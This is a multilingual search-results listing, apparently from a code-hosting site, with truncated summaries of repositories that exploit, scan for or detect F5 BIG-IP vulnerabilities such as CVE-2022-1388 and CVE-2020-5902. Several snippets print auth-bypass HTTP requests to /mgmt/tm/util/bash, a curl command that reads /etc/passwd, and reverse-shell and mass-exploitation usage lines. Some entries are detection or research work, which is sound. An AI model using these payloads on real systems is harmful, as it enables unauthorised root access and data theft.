2612 matches found
CVE-2022-1388-checker
CVE-2022-1388-checker نص بسيط مكتوب بلغة باش، لفحص عدد من المضيفين من أجل CVE-2022-1388 F5. + Uso: ./CVE-2022-1388.sh hosts.txt المراجع https://support.f5.com/csp/article/K23605346 https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html...
CVE-2022-1388-rs
CVE-2022-1388-rs ماسح ضوئي وقشرة تفاعلية لثغرة CVE-2022-1388 في F5 BIG-IP iControl REST لتجاوز المصادقة وتنفيذ الأوامر عن بُعد، مكتوب بلغة Rust ملخص للتلخيص، فيما يلي نظرة عامة على الشروط اللازمة لطلب استغلال هذه الثغرة: يجب أن يتضمن ترويسة Connection القيمة X-F5-Auth-Token يجب أن تكون ترويسة...
f5scan
f5scan ماسح F5 BIG IP لثغرة CVE-2020-5902 بواسطة bt0 مزيد من المعلومات حول الثغرة: https://support.f5.com/csp/article/K52145254?sf235665517=1 المتطلبات: python3+ shodan colorama urlopen pyOpenSSL $ pip3 install -r requirements الخيارات -h, --help show this help message and exit -H HOST, --host HO...
F5-BigIP-CVE-2022-1388
F5-BigIP-CVE-2022-1388 Reverse Shell pour CVE-2022-1388 Téléchargement et Utilisation git clone https://github.com/qusaialhaddad/F5-BigIP-CVE-2022-1388.git cd F5-BigIP-CVE-2022-1388 chmod +x Exploit-F5-BigIP-CVE-2022-1388.py python3 Exploit-F5-BigIP-CVE-2022-1388.py -t BigIP-IPAddress:Port -c "tm...
CVE-2020-5902
CVE-2020-5902 نموذج استغلال POC لثغرة BIG-IP CVE-2020-5902 وفحص آلي للثغرة برنامج بسيط لاستغلال ثغرة big-ip والفحص الآلي للثغرة التثبيت gem install httparty gem install colorize gem install timeout ruby big-ip.rb list.txt output.txt...
CVE-2022-1388
CVE-2022-1388 تنفيذ الأوامر عن بُعد، شل عكسية، وتصدير تلقائي لملفات PCAP -- للاستخدام التعليمي فقط -- المؤلف ليس مسؤولاً ولا يتحمل أي مسؤولية عن أي إجراءات تُتخذ باستخدام أي جانب من هذا المشروع/المستودع. لقد أنشأته بهدف فهم الهجوم وكذلك كتابة قواعد كشف داخل نظام SIEM، وأردت مشاركته ليتمكن الآخرون...
tippa-my-tongue
Tippa My Tongue Tippa My Tongue est un exploit qui utilise CVE-2022-1388 et CVE-2022-41800 pour établir un shell inversé root sur les produits F5 BIG-IP. La plupart des exploits de CVE-2022-1388 obtiennent l'exécution de code via /mgmt/tm/util/bash. Cependant, cet exploit utilise...
CVE-2022-1388
CVE-2022-1388 CVE-2022-1388 F5 BIG-IP iControl REST Contournement d'authentification RCE. POST /mgmt/tm/util/bash HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: / Connection: close, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd, X-F5-New-Authtok-Reqd, X-Forwarded-Server,...
F5-Big-IP-CVE-2020-5902-mass-exploiter
F5-Big-IP-CVE-2020-5902-mass-exploiter مستغل/مختبر عشوائي جماعي لـ F5 Big-IP CVE-2020-5902. الاستخدام: CVE-2020-5902-mass-exploiter.py -l list.txt -w workers...
CVE-2022-1388-Exploit-POC
CVE-2022-1388 استغلال برهان المفهوم F5 BIG IP POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM=...
CVE-2022-1388
CVE-2022-1388-Exploit نص الاستغلال والفحص لـ CVE 2022-1388 الاستخدام للتحقق من مضيف واحد عبر URL python3 exploit.py -v true -u targeturl لمهاجمة مضيف واختبار الأمر على هذا المضيف python3 exploit.py -a true -u targeturl -c command مهاجمة قائمة من المضيفين أو إرفاق ملف يحتوي على عناوين IP للمضيفين...
CVE-2022-1388
CVE-2022-1388 BIG IP REST RCE في إصدارات F5 BIG-IP 16.1.x قبل 16.1.2.2، وإصدارات 15.1.x قبل 15.1.5.1، وإصدارات 14.1.x قبل 14.1.4.6، وإصدارات 13.1.x قبل 13.1.5، وجميع إصدارات 12.1.x و11.6.x، قد تتجاوز الطلبات غير المفصح عنها مصادقة iControl REST. استخدم أمر cURL التالي في سطر واحد لاختبار هذه...
CVE-2025-20029-simulation
🔐 محاكاة هجوم قابلة لإعادة التنفيذ – CVE-2025-20029 ⚠️ يحاكي هذا المستودع ثغرة CVE-2025-20029 في بيئة آمنة وخاضعة للتحكم. وهو لا يتفاعل مع أنظمة F5 BIG-IP الحقيقية أو يستغل أي خدمة إنتاجية. الهدف تعليمي: دراسة نمط الثغرة واختبار الحمولات payloads بأمان. 🛠 حول CVE-2025-20029 CVE-2025-20029 هي ثغرة...
CVE-2022-1388
CVE-2022-1388 - تجاوز المصادقة وتنفيذ الأوامر عن بُعد في F5 BIG-IP iControl REST يستغل هذا السكربت المكتوب بلغة بايثون ثغرة CVE-2022-1388، وهي ثغرة حرجة في F5 BIG-IP iControl REST تسمح بـتنفيذ أوامر عن بُعد دون مصادقة عبر التحكم غير السليم في الوصول ومعالجة ترويسات HTTP. ⚠️ لأغراض تعليمية وأبحاث...
CVE-2021-22986
F5 BIG-IP RCE / CVE-2021-22986 Vulnérabilité d'exécution de code à distance Code par : Tas9er Avertissement Cet outil est destiné à aider les entreprises à localiser rapidement et à corriger les vulnérabilités. Il est réservé aux tests de sécurité autorisés, conformément à la « Loi sur la...
CVE-2020-5902-F5BigIP
CVE-2020-5902 أجهزة F5 BIG-IP ملخص: حزمة كشف من Zeek لـ CVE-2020-5902، وهي ثغرة أمنية من نوع CVE10.0 تؤثر على أجهزة F5 Networks BIG-IP. المراجع: https://corelight.blog/2020/07/28/zeek-in-its-sweet-spot-detecting-f5s-big-ip-cve10-cve-2020-5902/ https://support.f5.com/csp/article/K52145254...
CVE-2022-1388-EXP
F5 BIG-IP RCE Check check： CVE-2022-1388 F5 BIG-IP RCE فحص جماعي exp： ملاحظة: تم تعديل الـ exp بناءً على CVE-2021-22986!...
CVE-2022-1388
CVE-2022-1388 يوجد ثغرة تنفيذ تعليمات برمجية عن بُعد في ميزة iControl REST API لمنتج F5 BIG-IP. يمكن لمهاجم بعيد غير مصادَق عليه استغلال هذه الثغرة لتجاوز المصادقة وتنفيذ أوامر عشوائية بصلاحيات الجذر. الاستخدام python3 f5bigipscanner.py...
CVE-2022-1388-RCE-checker-and-POC-Exploit
CVE-2022-1388 مدقق RCE سكربت bash بسيط للتحقق من CVE-2022-1388 RCE F5 BIG-IP. + الاستخدام: ./CVE-2022-1388.sh hosts.txt استغلال POC لـ CVE-2022-1388 RCE لا تنسَ تغيير عنوان IP curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat /etc/passwd'" -H "Connection:...